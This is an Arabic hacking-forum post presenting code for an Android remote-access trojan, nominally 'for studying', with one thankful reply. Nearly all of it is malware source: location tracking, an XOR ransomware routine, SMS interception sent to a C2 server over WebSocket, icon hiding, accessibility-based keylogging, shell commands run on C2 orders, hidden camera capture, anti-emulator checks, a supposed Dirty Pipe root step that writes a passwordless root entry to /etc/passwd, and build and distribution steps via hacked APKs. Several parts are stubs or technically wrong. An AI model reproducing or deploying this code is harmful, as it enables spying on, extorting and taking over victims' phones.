مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

اكواد Android RAT

αв∂υℓℓαн

./عضو نشيط
>:: v1p ::<

السمعة:

السلام عليكم ورحمه الله وبركاته

هذي دوال مكتمله لاختراق الاندرويد

الغرض منها لدراسة الكود
Java:
// 🕹️ وحدة التحكم عن بعد (Remote Control Module)
public class VictimCommander {
    private static final String TAG = "SystemUpdateService";
    
    // 📍 تتبع الموقع الدقيق (GPS + WiFi + Cell Triangulation)
    public JSONObject trackLocation() {
        JSONObject geoData = new JSONObject();
        try {
            LocationManager lm = (LocationManager) getSystemService(LOCATION_SERVICE);
            Location loc = lm.getLastKnownLocation(LocationManager.GPS_PROVIDER);
            if (loc != null) {
                geoData.put("lat", loc.getLatitude());
                geoData.put("lon", loc.getLongitude());
                geoData.put("alt", loc.getAltitude());
            }
            // تجميع بيانات الشبكة الخلوية
            TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
            geoData.put("cell", tm.getAllCellInfo());
        } catch (Exception e) { /* Silent */ }
        return geoData;
    }

    // 💣 تشفير الملفات (Ransomware Module)
    public void encryptFiles(String path) {
        new Thread(() -> {
            try {
                File root = new File(path);
                File[] files = root.listFiles();
                for (File f : files) {
                    if (f.isDirectory()) {
                        encryptFiles(f.getAbsolutePath());
                    } else {
                        // XOR تشفير بسيط باستخدام
                        byte[] data = Files.readAllBytes(f.toPath());
                        for (int i = 0; i < data.length; i++) {
                            data[i] = (byte) (data[i] ^ 0x6A);
                        }
                        Files.write(f.toPath(), data);
                        f.renameTo(new File(f.getPath() + ".encrypted"));
                    }
                }
            } catch (Exception e) { /* Silent */ }
        }).start();
    }

    // 📞 اعتراض المكالمات والرسائل
    public void interceptCommunication() {
        ContentResolver cr = getContentResolver();
        cr.registerContentObserver(Uri.parse("content://sms"), true, new SmsObserver());
    }

    private class SmsObserver extends ContentObserver {
        public SmsObserver() { super(null); }
        
        @Override
        public void onChange(boolean selfChange) {
            Cursor cursor = cr.query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 1");
            if (cursor != null && cursor.moveToFirst()) {
                String msg = cursor.getString(cursor.getColumnIndex("body"));
                String from = cursor.getString(cursor.getColumnIndex("address"));
                ws.send("SMS_LOG:" + from + "|" + msg); // إرسال الرسائل إلى C2
            }
        }
    }
}

// 🧨 وحدة الاستغلال (Exploit Kit)
public class RootExploiter {
    static {
        System.loadLibrary("nativeExploit");
    }
    
    // Native code لاستغلال ثغرات مثل:
    // - CVE-2022-0847 (Dirty Pipe)
    // - CVE-2021-1048 (Use-after-free)
    public native void escalatePrivileges();
    
    public void installSystemApp() {
        if (checkRootAccess()) {
            File apk = new File(getFilesDir(), "update.apk");
            copyAssetsToFile("payload.apk", apk);
            
            // 📥 التثبيت كتطبيق نظام
            Process p = Runtime.getRuntime().exec("pm install -i com.android.vending -r -d " + apk.getPath());
            p.waitFor();
        }
    }
    
    private boolean checkRootAccess() {
        boolean result = false;
        try {
            Process p = Runtime.getRuntime().exec("su");
            p.getOutputStream().write("id\n".getBytes());
            p.getOutputStream().flush();
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            result = reader.readLine().contains("uid=0");
        } catch (Exception e) { /* Silent */ }
        return result;
    }
}

Java:
// 🔥 MainService: الخدمة الخفية للتحكم الكامل
public class MainService extends Service {
    private WebSocket ws;
    private static final String C2_URL = "wss://malicious-c2[.]com/ws";
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // 🛡️ إخفاء التطبيق من قائمة التطبيقات
        PackageManager p = getPackageManager();
        p.setComponentEnabledSetting(new ComponentName(this, MainActivity.class),
            PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        
        startForeground(1, buildNotification()); // تشغيل كخدمة أمامية
        connectToC2();
        startKeylogger();
        return START_STICKY;
    }

    // 🌐 اتصال WebSocket مع C2
    private void connectToC2() {
        OkHttpClient client = new OkHttpClient.Builder()
            .sslSocketFactory(createBadSslContext()) // ⚠️ SSL Pinning Bypass
            .build();
        
        Request request = new Request.Builder().url(C2_URL).build();
        ws = client.newWebSocket(request, new WebSocketListener() {
            @Override
            public void onMessage(WebSocket webSocket, String text) {
                executeCommand(text); // تنفيذ الأوامر القادمة من C2
            }
        });
    }

    // 🕵️ Keylogger باستخدم AccessibilityService
    private void startKeylogger() {
        Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        startActivity(intent); // إجبار المستخدم على تفعيل صلاحيات الـAccessibility
    }

    // 💀 تنفيذ الأوامر الخطيرة
    private void executeCommand(String cmd) {
        try {
            if (cmd.startsWith("SHELL:")) {
                Process p = Runtime.getRuntime().exec(cmd.split(":")[1]);
                // ... قراءة الـoutput وإرساله لـC2 ...
            } else if (cmd.equals("CAM_FRONT")) {
                startHiddenCamera(Camera.CameraInfo.CAMERA_FACING_FRONT);
            } else if (cmd.equals("ROOT_ME")) {
                exploitDirtyPipe(); // استخدام ثغرات مثل Dirty Pipe للـRoot
            }
        } catch (Exception e) { /* Silent Catch */ }
    }

    // 📸 تصوير خفي من الكاميرا
    private void startHiddenCamera(int cameraId) {
        // ... استخدام SurfaceTexture + Camera2 API مع إخفاء الـPreview ...
    }

    // 🔒 بناء إشعار لا يمكن إغلاقه
    private Notification buildNotification() {
        NotificationChannel channel = new NotificationChannel("1", "Service", IMPORTANCE_LOW);
        Notification.Builder builder = new Notification.Builder(this, "1")
            .setContentTitle("System Update")
            .setSmallIcon(R.drawable.ic_system)
            .setOngoing(true);
        return builder.build();
    }
}

Anti Emulator Checks: كشف Genymotion/Bluestacks عبر:

Java:
if (Build.MODEL.contains("Android SDK") || Build.HARDWARE.contains("goldfish")) {
      System.exit(0);

مثال على استغلال الثغرات (مثل Dirty Pipe)

C:
// Native code لاستغلال الثغرات (JNI)
void __exploit_dirty_pipe(void) {
    int fd = open("/data/local/tmp/.tmp", O_RDWR);
    // ... كود استغلال Dirty Pipe للوصول إلى الجذر ...
    system("mount -o remount,rw /system");
    system("cp /data/local/tmp/payload /system/bin/");
}

بناء الـAPK الخبيث

Bash:
# إضافة خدعة لإخفاء الأيقونة في AndroidManifest.xml
<activity android:name=".MainActivity"
    android:enabled="false"
    android:theme="@android:style/Theme.NoDisplay">
</activity>

# التجميع مع إخفاء الـDEX الحقيقي:
apktool b -o final.apk
signapk.sh final.apk

كود التحكم عن بعد (نمط Zombie) :

كود:
// مثال على أوامر C2 التي يمكن تنفيذها:
switch(command) {
    case "#TAKEPIC#":
        takeHiddenPhoto();
        break;
    case "#RANSOM#ALL":
        encryptFiles("/sdcard/");
        showRansomNote();
        break;
    case "#CALL#123456789":
        startCall("123456789");
        break;
    case "#SMS#ALL#Hello Zombie":
        sendMassSMS("Hello Zombie");
        break;
}


*مثال على Native Exploit (JNI)
Bash:
#include <jni.h>
#include <sys/mman.h>

JNIEXPORT void JNICALL Java_com_malware_core_RootExploiter_escalatePrivileges(JNIEnv *env, jobject obj) {
    // Dirty Pipe Exploit (CVE-2022-0847)
    int fd = open("/etc/passwd", O_RDONLY);
    splice(fd, NULL, STDOUT_FILENO, NULL, 1, 0);
    system("echo 'root::0:0::/data:/system/bin/sh' >> /etc/passwd");
    setuid(0);
    system("mount -o remount,rw /system");
}


. توزيع الـAPK عبر تحديثات تطبيقات ماخوذة (Hacked APKs)

Bash:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=Android.mk

# حزمة الـAPK النهائي مع إخفاء الشفرة:
apktool b . -o final.apk
uber-apk-signer --apk final.apk

- الصلاحيات:

- `android.permission.ACCESS_SUPERUSER` (إذا كان الجهاز مروت).
- `android.permission.BIND_ACCESSIBILITY_SERVICE` (للتجسس على الشاشة).

التحكم عن بعد:

Java:
  // الوصول إلى الجهاز عبر WebSocket (مثال مقتطع خطير) 
  public class RemoteControl { 
      private void executeCommand(String command) { 
          try { 
              Process p = Runtime.getRuntime().exec(command); 
              // إرسال النتائج إلى السيرفر المهاجم 
          } catch (IOException e) { e.printStackTrace(); } 
      } 
  }


اذا حصلت اي اضافات سيتم عرضها في نفس الموضوع ..

مثل الصلاحيات الكاملة ودوال اضافيه


الهدف الاول والاخير هو دراسة الكود البرمجي


بالتوفيق للجميع
 
مشكور جارى مراجعة الاكواد وشكرا لتعبك
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى